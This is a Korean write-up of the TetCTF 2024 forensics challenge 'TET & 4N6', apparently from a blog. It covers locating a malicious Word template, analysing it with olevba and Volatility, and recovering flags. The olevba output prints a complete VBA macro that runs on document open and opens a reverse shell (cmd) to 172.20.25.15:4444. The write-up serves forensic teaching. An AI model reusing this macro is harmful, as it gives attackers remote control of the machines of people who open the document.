들어가기에 앞서
본 Write-up은 개념이해가 완료되지 않은 사람들을 위해 자세하게 작성되었다.
즉 핵심 문제풀이 외에 추가적인 내용이 첨부되었으며 내용 또한 길다.
마지막으로 글 마무리에 개념이해를 돕기 위한 링크가 첨부되어있음을 알린다.
[TetCTF 2024] | TET & 4N6 (Misc/Forensics) |
Writer | Sooboon |
Date of issue | 2024.02.03 |
Tools Used | Version |
FTK Imager | 4.7.1.2 |
olevba (oletools package) | 0.60.2dev5 on Python 3.12.1 |
volatility | 2.6 |
DB Browser (for SQLite) | 3.12.2 |
INDEX
1. TET & 4N6 Introduce
2. Explanation
3. Flag
1. TET & 4N6 Introduce
TET & 4N6
100point
[챌린지 이름]
TET 및 4N6
[카테고리]
기타 / 포렌식
[작가]
Stirring
[설명]
Tet이 오고 있고, TetCTF가 다시 오고 있습니다.
매년 그랬듯이 저는 CTF 등록을 계속했고, 대회 준비를 위해 규칙도 읽었습니다.
규칙을 읽어보니 내 컴퓨터가 이상해 보이는데, 어딘가 악성코드에 감염된 것 같았다. 알아낼 수 있나요?
악성코드를 찾아서 IP와 C2포트를 알려주세요 당신이 처음으로 발견한 깃발은 무엇이었나요?
계정을 등록한 후에는 내 계정에 대해 더 이상 기억나는 것이 없습니다.
두 번째 깃발을 찾고 얻을 수 있도록 도와주실 수 있나요?
[형식]
TetCTF{IP:Port_Flag1_Flag2}
ex) TetCTF{1.1.1.1:1234_Hello_HappyForensics}
2. Explanation
문제 파일을 열면 ad1, raw 파일이 존재한다.
TetCTF 규칙을 읽어보니 악성코드에 감염된 것 같다고 했다.
`FTK imager`를 통해 Backup.ad1을 열어보았다.
Backup.ad1은 `User\사용자명\AppData`를 덤프한 파일인 것을 확인가능하다.
악성코드가 어디서 감염되었는지 확인하기위해 최근에 실행된 파일을 알아보려 했다.
`Roaming\Microsoft\Windows\Recent`에서 TetCTF2024-Rules.lnk를 찾아볼 수 있었다.
TetCTF 규칙을 읽어보니 악성코드에 감염 됐다고 했고 이를 통해 .docx파일과 연관이 되어있다고 판단.
Office 문서 경로를 찾아보았다.
`Roaming\Microsoft\Office\Recent`에서 Templates.LNK와 TetCTF2024-Rules.LNK를 확인하였다.
각 LNK의 Hex값을 통해 TetCTF2024-Rules.docx를 다운 받았고 이를 Word Templates 형식으로 열었을 때 악성코드에 감염되었다고 추측을 하였다.
이는 곧 문서파일 악성코드일 가능성이 다분하기에 Microsoft의 Templates 경로를 찾아보았다.
`Roaming\Microsoft\Templates`에서 Normal.dotm파일을 발견하였고 여기서 악성코드가 발견되었다.
이를 통해 문서형 악성코드 공격기법 중 Remote Template Injection에 해당하는 것을 알았다.
VBA 매크로가 담겨있을 것이기에 VBA를 분석 할 수 있는 도구인 `oletools중 olevba`를 사용하여 분석해보았다.
Window10 환경의 가상머신에서 Normal.dotm을 export했고 `olevba`를 통해 분석 내용을 `TETresult.txt`로 뽑아냈다.
TETresult.txt
olevba 0.60.2dev5 on Python 3.12.1 - http://decalage.info/python/oletools
===============================================================================
FILE: Normal.dotm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'Coppy
Const ip = "172.20.25.15"
Const port = "4444"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Sub AutoOpen()
Dim success As Boolean
success = revShell()
End Sub
'Vmxjd2VFNUhSa2RqUkZwVFZrWndTMVZ0ZUhkU1JsWlhWRmhvVldGNlZrbFdSM2hQVkd4R1ZVMUVhejA9
악성 스크립트 VBA 매크로를 분석한 결과 여기서 2가지의 값을 얻을 수 있다.
- IP > 172.20.25.15:4444
- 'Vmxjd2VFNUhSa2RqUkZwVFZrWndTMVZ0ZUhkU1JsWlhWRmhvVldGNlZrbFdSM2hQVkd4R1ZVMUVhejA9
여기서 인코딩된 값을 Base64로 여러번 디코딩 해준다.
5번 디코딩하면 Flag1을 얻을 수 있다.
IP > 172.20.25.15:4444
Flag1: VBA-M4cR0
추가적으로 악성코드 IP는 메모리 덤프 파일인 TETCTF-2024-20240126-203019-0.raw를 통해서도 확인 할 수 있는데, `Volatility` 사용하여 분석하면 된다. (사실 이 문제에서 raw파일은 필요가 없다. 그러나 IP는 확인 가능하다는 것.)
`Volatility` 를 사용하기위해 `imageinfo` 명령어로 Profile을 얻는다.
`pslist` 명령어로 cmd가 실행된 것을 확인 가능하고,
`netscan` 명령어로 악성코드 IP를 확인 할 수 있다. (※ 4444 port는 대표적인 트로이목마의 할당 port이다.)
`cmdline` 명령어로 명령어 실행 이력과 간접실행임을 알 수 있다.
이제 마지막으로 Flag2만 찾으면 된다.
문제에서 계정 등록 후 본인의 계정이 생각나지 않는다고 했다.
계정을 찾으려면 인터넷 사용기록을 분석하면 될 것 같다.
`Local\Google\Chrome\User Data\Default`에서 History파일을 찾을 수 있다. 이것을 export 했다.
`DB Browser (for SQLite)`를 통해 data를 열어 Urls을 확인 한 결과.
Flag2를 찾을 수 있었다.
Flag2: R3c0v3rry_34sy_r1ght?
조합하면,
Flag
└ TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_r1ght?}
3. Flag
3.1 Flag
IP: 172.20.25.15:4444
Flag1: VBA-M4cR0
Flag2: R3c0v3rry_34sy_r1ght?
>>> TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_r1ght?}
3.2 개념 공부를 위한 추가자료
[Remote Template Injection (악성코드 공격기법)]
→ https://goseungduk.tistory.com/111
[VBA란?]
[Normal.dotm이란?]
→ https://wordtips.tistory.com/entry/%EC%9B%8C%EB%93%9C-normaldotm
[Port 4444 Details]
→ https://www.speedguide.net/port.php?port=4444
[PID (프로세스)에 관하여]
→ https://awesomebit.tistory.com/12
'CTF > Digital Forensic' 카테고리의 다른 글
[0xL4ugh CTF 2024] WordPress - 4_Write-up (0) | 2024.05.30 |
---|---|
[0xL4ugh CTF 2024] WordPress - 3_Write-up (0) | 2024.05.30 |
[0xL4ugh CTF 2024] WordPress - 2_Write-up (0) | 2024.05.30 |
[0xL4ugh CTF 2024] WordPress - 1_Write-up (0) | 2024.05.30 |